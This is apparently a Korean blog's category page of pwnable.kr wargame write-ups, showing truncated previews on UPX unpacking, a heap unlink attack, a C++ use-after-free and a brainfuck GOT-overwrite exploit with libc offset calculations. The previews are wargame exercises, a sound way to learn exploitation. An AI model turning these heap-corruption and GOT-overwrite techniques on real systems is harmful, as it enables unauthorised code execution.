본문 바로가기

시스템 해킹/pwnable.kr4

flag upx 패킹이 되어 있는 부분! upx 언팩을 하면 끝... 2018. 9. 3.
unlink #include #include #include typedef struct tagOBJ{struct tagOBJ* fd;struct tagOBJ* bk;char buf[8];}OBJ; void shell(){system("/bin/sh");}//0x080484eb void unlink(OBJ* P){OBJ* BK;OBJ* FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;} int main(int argc, char* argv[]){malloc(1024);OBJ* A = (OBJ*)malloc(sizeof(OBJ));OBJ* B = (OBJ*)malloc(sizeof(OBJ));OBJ* C = (OBJ*)malloc(sizeof(OBJ)); 0x804b410:A 0x804b428:.. 2016. 12. 27.
uaf #include #include #include #include #include using namespace std; class Human{private:virtual void give_shell(){system("/bin/sh");}protected:int age;string name;public:virtual void introduce(){cout 401550->40117a(HUMAN의 give_shell)인데, +8해서 401558->401376(WOMAN의 introduce)이 실행된다. 이 또한, 3을 입력하면, c25ca0이 401590->40117a으로 바뀐 후, c25ca0이 모두 지워버린다. 1->3 delete하지 않고, 2를 할 경우1->2 c25ca0보다 훨씬 뒤에 입력이 된다.b4.. 2016. 12. 24.
brainfuck get으로 fgets->system으로 바꿀 것이다. do_brainfuck 함수 아스키코드 60: 아스키코드 43: + 아스키코드 45: -아스키코드 46: .아스키코드 44: ,아스키코드 91: [을 의미한다. payload=''tape을 가리키는 p를 fgets를 가리키게 올려주어야 한다. payload+=''*4bf_libc.so에서 system함수의 주소: 3A920 fgets함수의 주소: 5D540 gets함수의 주소: 5E770 from_system_to_fgets=0x5D540-0x3A920from_gets_to_fgets=0x5D540-0x5E770 fgets_addr=u32(s.recvn(4)[:4])system_addr=fgets_addr-from_system_to_fgetsgets_.. 2016. 11. 6.